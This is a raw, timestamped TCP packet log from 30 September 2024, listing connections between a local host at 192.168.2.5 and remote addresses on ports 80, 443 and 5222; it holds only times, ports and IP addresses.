Sep 30, 2024 12:20:39.643404961 CEST	443	49755	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.643428087 CEST	443	49754	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.648828030 CEST	5222	49753	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.652751923 CEST	80	49756	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.707745075 CEST	49757	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.707981110 CEST	49759	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.708272934 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.712050915 CEST	49760	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.715142012 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.715183973 CEST	443	49761	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.715401888 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.716950893 CEST	5222	49760	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.717039108 CEST	49760	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.717372894 CEST	49760	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.718233109 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.718249083 CEST	443	49761	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.718410969 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.718447924 CEST	443	49762	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.718556881 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.720154047 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.720174074 CEST	443	49762	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.720767975 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.722158909 CEST	5222	49760	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.725625992 CEST	80	49763	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.725728035 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.725963116 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.730938911 CEST	80	49763	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.735141039 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.739896059 CEST	80	49763	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.741714001 CEST	5222	49743	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.741806030 CEST	49743	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.741851091 CEST	443	49748	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.741913080 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.741930008 CEST	49748	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.755192041 CEST	443	49747	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.755258083 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.755276918 CEST	49747	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.755403042 CEST	443	49758	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.756808996 CEST	5222	49757	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.756819963 CEST	80	49759	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.819041014 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.834105015 CEST	49760	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.834319115 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.835832119 CEST	49763	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.842582941 CEST	49764	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.843321085 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.843427896 CEST	443	49765	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.843514919 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.844770908 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.844805002 CEST	443	49765	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.845010996 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.847464085 CEST	5222	49764	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.847529888 CEST	49764	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.847784042 CEST	49764	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.849864960 CEST	80	49766	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.849931955 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.850101948 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.852628946 CEST	5222	49764	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.854837894 CEST	80	49766	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.855029106 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.859858036 CEST	80	49766	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.863404989 CEST	443	49761	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.864500046 CEST	443	49750	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.864603043 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.864615917 CEST	49750	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.869703054 CEST	5222	49746	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.869770050 CEST	49746	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:39.879405975 CEST	443	49762	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.881542921 CEST	5222	49760	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.884766102 CEST	80	49763	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.945442915 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:39.953620911 CEST	443	49755	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:39.953713894 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.953743935 CEST	49755	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:39.966044903 CEST	443	49754	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:39.966118097 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:39.966118097 CEST	49754	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.000715971 CEST	5222	49751	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.000780106 CEST	49751	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.015090942 CEST	49764	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.015415907 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.016967058 CEST	49766	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.017791986 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.023106098 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.059415102 CEST	443	49765	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.060842991 CEST	5222	49764	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.062249899 CEST	49767	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.064790964 CEST	80	49766	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.066374063 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.066443920 CEST	443	49768	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.066605091 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.067143917 CEST	5222	49767	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.067208052 CEST	49767	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.068063974 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.068098068 CEST	443	49768	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.069292068 CEST	5222	49753	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.069355965 CEST	49753	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.071502924 CEST	49769	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.073561907 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.073595047 CEST	443	49770	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.073690891 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.074817896 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.074842930 CEST	443	49770	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.076307058 CEST	5222	49769	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.076370955 CEST	49769	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.076858997 CEST	49769	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.079056025 CEST	443	49758	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.079132080 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.079155922 CEST	49758	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.079986095 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.081659079 CEST	5222	49769	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.084814072 CEST	80	49771	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.084934950 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.085251093 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.090814114 CEST	80	49771	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.090967894 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.097141027 CEST	80	49771	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.129530907 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.171406031 CEST	443	49768	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.179142952 CEST	443	49761	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.179280043 CEST	443	49761	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.179397106 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.179397106 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.179397106 CEST	49761	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.180444956 CEST	5222	49757	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.181124926 CEST	49757	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.194441080 CEST	443	49762	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.194555998 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.194555998 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.194557905 CEST	443	49762	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.194611073 CEST	49762	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.211049080 CEST	49769	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.211308956 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.212765932 CEST	49771	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.255405903 CEST	443	49770	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.260849953 CEST	5222	49769	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.260863066 CEST	80	49771	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.289572001 CEST	5222	49760	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.293739080 CEST	49760	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.322772980 CEST	443	49765	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.322874069 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.322890043 CEST	443	49765	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.322906017 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.322947025 CEST	49765	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.409816027 CEST	5222	49764	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.413387060 CEST	49764	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.494592905 CEST	49772	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.495584011 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.495631933 CEST	443	49773	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.495712042 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.497665882 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.497688055 CEST	443	49773	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.497705936 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.499631882 CEST	5222	49772	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.499779940 CEST	49772	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.515186071 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.522743940 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.522799015 CEST	443	49774	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.522902012 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.524193048 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.524210930 CEST	443	49774	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.525306940 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.526602030 CEST	49775	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.530945063 CEST	443	49768	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.531023026 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.531044006 CEST	49768	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.531234026 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.531311989 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.531322002 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.532232046 CEST	5222	49775	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.532318115 CEST	49775	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.532598972 CEST	49775	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.533988953 CEST	443	49770	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.534048080 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.535481930 CEST	49770	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.538378000 CEST	5222	49775	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.543404102 CEST	443	49773	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.563815117 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.568650961 CEST	80	49776	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.568767071 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.569098949 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.573877096 CEST	80	49776	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.573941946 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.579197884 CEST	80	49776	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.622108936 CEST	49775	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.622694969 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.622945070 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.624654055 CEST	49776	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.627765894 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.645373106 CEST	5222	49769	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.645425081 CEST	49769	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.646274090 CEST	49777	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.646927118 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.646950006 CEST	443	49778	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.647049904 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.649050951 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.649064064 CEST	443	49778	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.651041031 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.651072025 CEST	443	49779	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.651149035 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.651253939 CEST	5222	49777	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.651313066 CEST	49777	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.651895046 CEST	49777	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.652827978 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.652853966 CEST	443	49779	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.656903028 CEST	5222	49777	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.656935930 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.661746025 CEST	80	49780	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.661868095 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.662137985 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.666985035 CEST	80	49780	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.667043924 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.667404890 CEST	443	49774	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.671808004 CEST	80	49780	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.672769070 CEST	5222	49775	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.672782898 CEST	80	49776	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.716068029 CEST	49779	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.731904030 CEST	49777	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.732366085 CEST	49780	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.732517004 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.732739925 CEST	49778	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.737711906 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.738584995 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.738614082 CEST	443	49781	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.738713980 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.739921093 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.739933014 CEST	443	49781	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.740137100 CEST	49782	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.744086981 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.745100021 CEST	5222	49782	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.745177984 CEST	49782	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.745429993 CEST	49782	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.749212980 CEST	80	49783	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.749272108 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.749510050 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.750941038 CEST	5222	49782	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.754345894 CEST	80	49783	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.754434109 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.760050058 CEST	80	49783	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.763406038 CEST	443	49779	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.779398918 CEST	443	49778	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.780875921 CEST	80	49780	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.780889034 CEST	5222	49777	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.837929010 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.838001013 CEST	443	49784	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.838087082 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.840827942 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.840852022 CEST	443	49784	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.844348907 CEST	49782	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.844542027 CEST	49783	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.845510960 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.846973896 CEST	49781	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.850244045 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.866482973 CEST	49785	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.871416092 CEST	5222	49785	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.871547937 CEST	49785	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.872025967 CEST	49785	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.876996040 CEST	5222	49785	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.880141020 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.880178928 CEST	443	49786	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.880244017 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.881776094 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.881793022 CEST	443	49786	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.887403011 CEST	443	49781	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.893024921 CEST	80	49783	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.893038034 CEST	5222	49782	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.928654909 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.933500051 CEST	80	49787	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.937058926 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.939181089 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.939444065 CEST	49784	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:40.943950891 CEST	80	49787	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.944003105 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.948857069 CEST	80	49787	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.953231096 CEST	443	49773	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.953303099 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.953322887 CEST	49773	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.953958988 CEST	49785	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.954307079 CEST	49787	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.954404116 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.954796076 CEST	49786	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.959284067 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.959429026 CEST	49788	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.961442947 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.961482048 CEST	443	49789	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.961558104 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.962918997 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.962934017 CEST	443	49789	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.964505911 CEST	5222	49788	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.964566946 CEST	49788	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.964912891 CEST	49788	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.966006041 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.969933033 CEST	5222	49788	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.970771074 CEST	80	49790	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.970818996 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.971029043 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.975850105 CEST	80	49790	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.975893021 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:40.981065989 CEST	80	49790	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:40.982177973 CEST	443	49774	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:40.982254028 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.982274055 CEST	49774	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:40.987405062 CEST	443	49784	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:40.999397039 CEST	443	49786	172.65.251.78	192.168.2.5
Sep 30, 2024 12:20:41.001059055 CEST	80	49787	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.001072884 CEST	5222	49785	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.031092882 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048333883 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048353910 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048366070 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048377037 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048391104 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.048408031 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.048415899 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048437119 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.048450947 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.049393892 CEST	49788	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.049441099 CEST	49789	443	192.168.2.5	172.65.251.78
Sep 30, 2024 12:20:41.049982071 CEST	49790	80	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.051608086 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.054585934 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.054622889 CEST	443	49791	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.054723024 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.056524992 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.057034969 CEST	49791	443	192.168.2.5	188.114.97.3
Sep 30, 2024 12:20:41.057049036 CEST	443	49791	188.114.97.3	192.168.2.5
Sep 30, 2024 12:20:41.062860966 CEST	49713	5222	192.168.2.5	103.78.229.139
Sep 30, 2024 12:20:41.064501047 CEST	49792	5222	192.168.2.5	139.144.164.103
Sep 30, 2024 12:20:41.068300962 CEST	5222	49713	103.78.229.139	192.168.2.5
Sep 30, 2024 12:20:41.068377018 CEST	49713	5222	192.168.2.5	103.78.229.139
